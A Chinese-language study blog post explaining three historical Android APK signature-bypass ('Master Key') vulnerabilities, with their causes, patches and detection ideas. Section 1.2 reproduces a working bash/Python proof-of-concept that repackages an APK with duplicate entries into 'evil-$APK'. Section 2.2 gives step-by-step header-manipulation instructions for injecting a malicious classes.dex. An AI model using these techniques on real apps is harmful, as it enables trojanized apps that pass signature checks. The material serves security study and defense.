主要是想整理下自己大半年来学习的有关Android安全的一些东西,第一篇先从比较简单的Android签名漏洞开始。
Android签名漏洞,也叫Master Key漏洞,是指攻击者可以在不改变原APK的签名情况下修改APK的代码,从而绕过Android的签名认证安全机制。
一.第一个签名漏洞
1.1 原理
第一个签名漏洞是由国外的一家安全公司Bluebox Security在2013年7月初揭露的,这个漏洞自Android1.6版本就一直存在,漏洞的覆盖范围达到99%。
该漏洞位于luni/src/main/java/java/util/zip/ZipFile.java目录下,具体的漏洞点如下:
for (int i = 0 ; i < numEntries; ++i) {
ZipEntry newEntry = new ZipEntry (hdrBrf , bin) ;
m.entries.put (newEntry.getname() , newEntry )}
我们知道在同一个文件夹内是不允许存在两个同名文件的,然而在APK这样一个ZIP格式的文件中却没有这样的限制,同时Android并未对APK中的重名文件进行检测,即一个APK压缩文件中可能存在两个相同的classes.dex文件。
此时可以假设一种情况,一个APK压缩包中存在两个classes.dex文件,第一个是恶意的执行文件,第二个是原来的执行文件,Android系统实际上验证的是第二个执行文件,因此可以顺利绕过APK的签名验证。Java层对APK验证完后,会请求installed进程完成代码的优化,而提取的classes.dex文件却是第一个执行文件。
1.2 POC
漏洞的POC思路是将原apk反编译并修改再重打包,将原APK解压至重打包的APK的目录下,再将解压出的所有资源压入重打包的APK中,代码如下:
#!/bin/bash# PoC for Android bug 8219321 by @pof# +info: https://jira.cyanogenmod.org/browse/CYAN-1602if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fiAPK=$1rm -r out out.apk tmp 2>/dev/nulljava -jar apktool.jar d $APK out#apktool d $APK outecho "Modify files, when done type 'exit'"cd outbashcd ..java -jar apktool.jar b out out.apk#apktool b out out.apkmkdir tmpcd tmp/unzip ../$APKmv ../out.apk .cat >poc.py <<-EOF#!/usr/bin/pythonimport zipfileimport sysz = zipfile.ZipFile(sys.argv[1], "a")z.write(sys.argv[2])z.close()EOFchmod 755 poc.pyfor f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; donecp out.apk ../evil-$APKcd ..rm -rf tmp outecho "Modified APK: evil-$APK"
1.3 补丁
在该文件的readCentralDir()函数结尾处删去如下一行代码:
entries.put(newEntry.getName(), newEntry);
同时增加如下代码:
if (entries.put(newEntry.getName(), newEntry) != null) {
throw new ZipException("Duplicate entries: file may have been tamperedwith");
}
也就是说APK的Entry链存在2个或以上相同的路径即抛出异常。
二.第二个签名漏洞
2.1 原理
第二个签名漏洞是由安卓安全小分队发现的。攻击者可以对原apk进行修改,但不修改其原apk的签名。原理跟Bluebox Security曝的漏洞不太一样,但效果是一样的。Java语言在进行类型转换的时候会出现这样的问题:比如当一个short类型的0xFFFF转换为int后,java会把它读为-1,而C++读为65535。而在Java验证签名过程中,对Zip文件相应16位域的读取时,没有考虑到大于2^15的情况,就造成了Java层和C++层对同一数据的读取结果不一致。
APK实际上是一个ZIP文件格式文件,Zip文件都有一个Central direction, Central direction每一项都是一个File header,每个File header结构中都有一个偏移量指向local file header,local file header后跟着的就是文件数据。其中local file header最后两个域file name和extra field是变长的,其的长度是由file name length和extra field length所确定。Android 对 Apk 校验用到一下语句:
RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);
DataInputStream is = new DataInputStream(rafstrm);
int localExtraLenOrWhatever = Short.reverseBytes(is.readShort());
is.close();
// Skip the name and this "extra" data or whatever it is:
rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);
rafstrm.mLength = rafstrm.mOffset + entry.compressedSize;
if (entry.compressionMethod == ZipEntry.DEFLATED) {
int bufSize = Math.max(1024, (int)Math.min(entry.getSize(), 65535L));
return new ZipInflaterInputStream(rafstrm, new Inflater(true), bufSize, entry);
上述代码中红色部分中localExtraLenOrWhatever就是local file header结构中的extra field length。如果这里的extra field legth大小大于2^15,则localExtraLenOrWhatever将会是负值。
因此接下来,rafstrm.skip(entry.nameLength+ localExtraLenOrWhatever); 这句将无法真正跳过变长域file name(variable size) 和extra field (variable size)。反而有可能会跳到file name (variable size)中,甚至file name(variable size)之前。
攻击模型如下所示:
2.2 攻击方式
要改变一个apk的行为,显然攻击的目标就是apk里的classes.dex文件。对于classes.dex文件在apk文件中的local file header结构,其file name (variablesize)域的内容就是“classes.dex”了。
a) 利用这一点,从filename (variable size)域“classex.dex”的“.”之后开始我们可以写入一个完整的dex文件。这个dex文件必须是原apk里的classes.dex文件。只有这样才能绕过签名验证
b) 修改extra fieldlength,使之为0xFFFD。因为这个值刚好为-3。根据漏洞,rafstrm.skip(entry.nameLength + localExtraLenOrWhatever); 这句就会跳到file name (variable size)域中的“.”之后。也就是一个dex文件的开始,这里必须是原dex文件内容。
c) 修改local fileheader之后的file data数据。在这里写入带有攻击代码的classes.dex内容。
该漏洞有个巨大的限制,即利用Zip文件中的local file header结构的extra field域来存放原classes.dex。但这个域的大小最多只能是2^16-1,因此被攻击的Apk里的classes.dex大小必须在64K以内。
最后之所以这种攻击方式能成功,还在于在运行时,系统抽取的是hackedclasses.dex,而在签名校验时,验证的是extra域里的classes.dex。前者是在libdex.so中实现,后者在Java层实现。
2.3 补丁
将nameLength=it.readShort()等类似的语句改为nameLength=it.readShort() & 0xffff
这样就避免了int转换为short后Java读数为负数的情况。
三.第三个签名漏洞
第三个签名漏洞是由著名手机安全专家Jay Freeman发现的。第二个签名漏洞有两个巨大的限制,一是只能替换一个classes.dex文件,二是原程序的classes.dex文件必须小于64kb。而第二个签名漏洞公布后,google对两个地方打了extra field的补丁,其中一个是local file header处,另一个在zip文件格式的central direction处。第三个签名漏洞便是位于后一个补丁处。整个ZIP文件格式以及两个漏洞的位置,如下图所示:
红色的箭头代表指针指向的位置,黄色的区域代表两个签名漏洞所在的位置,目录结束标示位于ZIP文件的最后,用来指向第一个central direction以及记录文件信息。
3.1 漏洞原理
Centraldirection位于zip文件的末尾,是zip文件解析器的索引,指向本地文件。
每一个Centraldirection 都有extra域,从一个centraldirection跳到下一个central direction, 需要当前入口地址加上前面的目录条长度加上三个变长域,即当前local的偏移地址加上name的长度,extra域的长度和comment域的长度。
漏洞的位置代码如下所示:
nameLength =it.readShort();
intextraLength = it.readShort();
intcommentLength = it.readShort();
byte[] nameBytes =new byte[nameLength];
Streams.readFully(in,nameBytes, 0, nameBytes.length);
name = newString(nameBytes, 0, nameBytes.length, Charsets.UTF_8);
if(commentLength > 0) {
byte[] commentBytes= new byte[commentLength]; Streams.readFully(in, commentBytes, 0,commentLength);
comment = new String(commentBytes, 0,commentBytes.length, Charsets.UTF_8);
}
if(extraLength > 0) {
extra = newbyte[extraLength];
Streams.readFully(in,extra, 0, extraLength);
}
该代码是由Java所写,与第二个签名漏洞一样,如果读取的数字大于32k,则java读出的数字为负数,但不同之处在于,如果读出的length小于0,则不会像第二个漏洞向回跳转,而是认为无效直接 跳过,将其值设为0 。
这就同样造成了Java层与C++层对同一数据有不同的读取结果,若变长域的长度大于32k,则Java读取的值为0,C++读取的值为正常大小。
3.2 漏洞模型
漏洞的基本模型如下图所示:
每一个黑框代表一个central direction,当第一个central direction的extra域的长度大于 32k时,java的跳转方式如红色箭头所示,C++跳转方式如蓝色箭头所示。即即如果extra域大于32k, Java代码会跳转至C++认为是extra域的地方。即Java代码验证签名时验证的是前面四个central
direction指向的文件,而C++解压时的文件却是第一个central direction和PAD之后的三个central direction指向的文件。从Central direction的格式可以看到,一个正常的centraldirection的大小为46bytes加上文件名的长度。32~64kb基本能满足所需的空间大小。
3.3 漏洞说明
与第二个签名漏洞相比,突破在于可以添加任何文件到zip中,包括以前不存在的文件,并且可以没有文件大小的限制
不足之处是由于最后的目录结束标识中有文件的数目值,所以新加入的文件数目必须和原文件数一样多。
第三个漏洞的补丁和第二个漏洞的补丁原理一样。
四.总结
总的来说Android签名漏洞虽然实现的方式不一样,但利用的漏洞点的原理都是大同小异,即都是利用Android的Java层和C++层对签名的代码或操作不一致来绕过系统对签名的验证,从而达到攻击目的。
如果要实现自动化地检测APK包是否存在利用漏洞的情况,第一个漏洞需要检测APK包是否包含两个重名的classes.dex文件;第二个和第三个漏洞则需要检测相应位置的变长域的长度是否超过2^15,其他有效的检测方法,还有待进步一思考。
如果理解有错误,欢迎指正~
五.参考资料
http://bbs.pediy.com/showthread.php?t=175129
http://blog.sina.com.cn/s/blog_be6dacae0101bksm.html
http://www.saurik.com/id/18